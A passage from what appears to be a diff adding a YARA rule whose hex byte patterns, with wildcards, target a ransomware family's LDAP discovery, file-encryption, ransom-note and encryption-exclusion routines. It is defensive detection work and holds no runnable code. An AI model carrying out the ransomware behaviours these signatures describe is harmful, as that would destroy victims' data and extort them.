+            ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 53 89 18 8D 45 ?? 50 FF 75 ?? 53 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B F0 E8 ?? ?? ?? ?? 83 FE ?? 74 ?? 89 38 EB ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ??
+            83 38 ?? 74 ?? 83 CE ?? FF 75 ?? E8 ?? ?? ?? ?? 59 EB ?? E8 ?? ?? ?? ?? 89 38 53 8D
+            45 ?? B9 ?? ?? ?? ?? 50 51 53 89 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ??
+            83 C4 ?? 8B C6 5F 8B 4D ?? 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 53
+        }
+		$ldap_connect = {
+            C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ??
+            50 6A ?? 53 8B 35 ?? ?? ?? ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 53 FF D6
+            6A ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ??
+            85 C0 74 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ??
+            8B F0 89 75 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 56 53 FF 15 ?? ?? ?? ?? 83 C4 ??
+            85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ??
+            ?? ?? ?? FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B
+            06 85 C0 0F 84 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8B 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 36 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 8B C8 89 4D ?? 8B 01 8B 40 ?? C6 45 ?? ?? 8B 44 08 ?? 8B 58 ?? 89 5D
+            ?? 8B 03 8B CB FF 50 ?? 83 4D ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 10 6A ??
+            8B C8 FF 52 ?? 0F B7 C0 89 45 ?? 83 65 ?? ?? C6 45 ?? ?? 85 DB 74 ?? 8B 03 8B CB FF
+            50 ?? 8B C8 85 C9 74 ?? 8B 01 6A ?? FF 10 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D
+            ?? E8 ?? ?? ?? ?? 8B 5D ?? 56 FF 15
+        }
+		$encrypt_files_v2 = {
+            8D 45 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 FF 75 ?? 83 EC ?? 8B
+            F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75
+            ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8
+            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+        }
+		$encrypt_files_v3 = {
+            6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ??
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F
+            ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A
+            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 56 83 EC ?? 8B F4 89 A5 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? ?? ?? ?? C6
+            45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B5 ??
+            ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45
+            ?? ?? 8D 8D ?? ?? ?? ?? E8
+        }
+		$encrypt_files_v4 = {
+            8D 45 ?? 50 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 0F 10 45 ?? 0F 11 45 ?? 8B 45 ??
+            8B 4D ?? 89 45 ?? 89 4D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ??
+            8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 57 8D 45 ?? 50 8D 45 ?? 50 83 EC ?? 8B
+            F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85
+            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 8D 85
+            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8D 0C 4D ?? ?? ?? ?? 89 8D ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B
+            50 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? FF FF C6
+            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
+        }
+		$drop_ransom_note_v1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00
+            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83
+            BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A
+            ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
+            BD ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ??
+            50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
+            5D C3
+        }
+		$exclude_from_encryption_v1 = {
+            83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D
+            ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8
+            ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B
+            F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 83 FE ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D
+        }
+		$exclude_from_encryption_v2_p1 = {
+            50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6
+            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6
+        }
+		$exclude_from_encryption_v2_p2 = {
+            45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 84 C0 0F 44 CA 8D 45 ?? 50 E8 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ??
+            ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8
+        }
+		$encrypt_files_v5_p1 = {
+            50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D 45 ?? 50 56 FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ??
+            8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C7 45 ?? ?? ?? ?? ?? 8D 4B ?? E8 ??
+            ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B C2 ?? ?? 8B 7D ?? 83
+            C1 ?? 8B 35 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B 7D ??
+            6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ??
+            C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ??
+            E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ??
+            FF 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? FF 75 ?? 83
+        }
+		$encrypt_files_v5_p2 = {
+            C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C ?? 81 FF ?? ??
+            ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 66 0F 13 45
+            ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CF 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 50 51 E8 ??
+            ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 45 ?? F2 0F
+            11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 ?? ?? ?? ??
+            39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ??
+            8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 85
+            C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F 11 45 ?? 50
+            E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 50 FF 75 ??
+            FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? ?? ?? 89 45
+            ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 FF 75 ?? 57
+            6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 57
+            C0 66 0F 13 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B
+            7D ?? 89 45 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B CF 0F A4 C8 ?? 6A ?? C1 E1 ?? 03
+            4D ?? 6A ?? 13 45 ?? 50 51 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 8B 45 ??
+            13 45 ?? 89 45 ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 7D ?? 0F 82
+        }
+		$encrypt_files_v6_p1 = {
+            E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 85 F6 0F 8F ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 03 48 ?? 8B 01 FF 50 ?? 83 7B ?? ?? 8D 43 ??
+            F2 0F 10 05 ?? ?? ?? ?? 0F 43 43 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 8D 45 ?? 50 57 FF 15
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C6 45 ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B
+            C2 ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B CF 76 ?? 8B FE 2B 7D ?? 66
+            8B 04 0F 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? 2B 75 ?? D1 FE E9 ?? ?? ?? ?? 8B 7D
+            ?? 83 C6 ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B
+            75 ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
+        }
+		$encrypt_files_v6_p2 = {
+            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ??
+            6A ?? E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ??
+            ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ??
+            FF 75 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C
+        }
+		$encrypt_files_v6_p3 = {
+            81 FE ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0
+            66 0F 13 45 ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CE 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2
+            50 51 E8 ?? ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89
+            45 ?? F2 0F 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85
